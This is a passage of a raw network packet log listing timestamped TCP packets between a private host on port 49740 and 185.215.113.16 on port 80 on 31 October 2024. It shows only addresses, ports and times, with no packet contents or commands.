Oct 31, 2024 20:52:17.033785105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033796072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033806086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033818960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033818960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033832073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033838034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033843040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033854961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033858061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033874035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033885956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033888102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033898115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033910036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033916950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033921003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033932924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.033941984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.033972979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034157038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034168005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034178972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034189939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034198999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034200907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034213066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034214973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034219027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034224033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034235001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034245968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034257889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034260035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034274101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034285069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034292936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034295082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034329891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034347057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034497976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034509897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034521103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034533024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034543991 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034544945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034557104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034559011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034569025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034579039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034589052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034590960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034601927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034615993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034624100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034635067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034641027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034653902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034663916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034666061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034678936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034691095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034696102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034710884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034713030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034738064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034763098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034775972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034787893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034797907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034809113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034816027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034820080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034832954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034842968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034842968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034856081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034868002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034878969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034885883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034894943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034912109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034928083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034931898 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034955025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034966946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034966946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.034976959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.034992933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035000086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035002947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035013914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035026073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035032988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035037994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035049915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035058022 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035060883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035073042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035084009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035119057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035322905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035335064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035358906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035366058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035377026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035387993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035389900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035399914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035413027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035415888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035430908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035465956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035515070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035526991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035537004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035548925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035559893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035562038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035572052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035582066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035588026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035593033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035604000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035612106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035641909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035653114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035665035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035665989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035676956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035690069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035701990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035727978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035769939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035782099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035809994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035819054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035820961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035831928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035844088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035854101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035856009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035866976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035872936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035877943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035890102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035902023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035903931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035912991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035923958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035936117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.035945892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035978079 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.035995960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036063910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036078930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036092997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036103964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036103964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036117077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036137104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036148071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036171913 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036227942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036238909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036257982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036269903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036269903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036283016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036290884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036298037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036312103 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036338091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036344051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036350012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036360025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036371946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036374092 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036382914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036393881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.036406994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.036437988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.143663883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143682003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143692970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143840075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143857002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143862963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143867970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143874884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.143879890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144017935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144023895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144071102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144077063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144088984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144098043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144524097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144581079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144587994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144599915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144726038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144731045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144741058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144747019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144753933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144761086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144772053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144799948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144807100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144813061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144813061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.144813061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.144813061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.144813061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.144824028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144829988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144839048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144875050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144982100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.144987106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.145186901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.145201921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.145201921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.145201921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.145201921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.183815956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183835030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183846951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183882952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183887959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183891058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.183954000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.183960915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183969021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183979988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.183985949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184009075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184022903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184024096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184030056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184035063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184055090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184072018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184087992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184094906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184135914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184138060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184144020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184154987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184160948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184189081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184204102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184274912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184288979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184294939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184300900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184310913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184326887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184330940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184341908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184343100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184350014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184355021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184360981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184369087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184393883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184406042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184412003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184417009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184453964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184468031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184473991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184484005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184489012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184515953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184533119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184607029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184612989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184623957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184628963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184636116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184655905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184689999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184727907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184732914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184743881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184750080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184762955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184771061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.184776068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184787989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.184819937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185188055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185195923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185206890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185213089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185220003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185225010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185264111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185272932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185280085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185283899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185286045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185297966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185306072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185309887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185316086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185316086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185344934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185349941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185354948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185357094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185374975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185408115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185420036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185425997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185437918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185482979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185489893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185496092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185509920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185528040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185533047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185543060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185544014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185549974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185573101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185592890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185592890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185599089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185606003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185640097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185640097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185646057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185657024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185658932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185693979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.185704947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.185710907 CET	80	49740	185.215.113.16	192.168.2.4
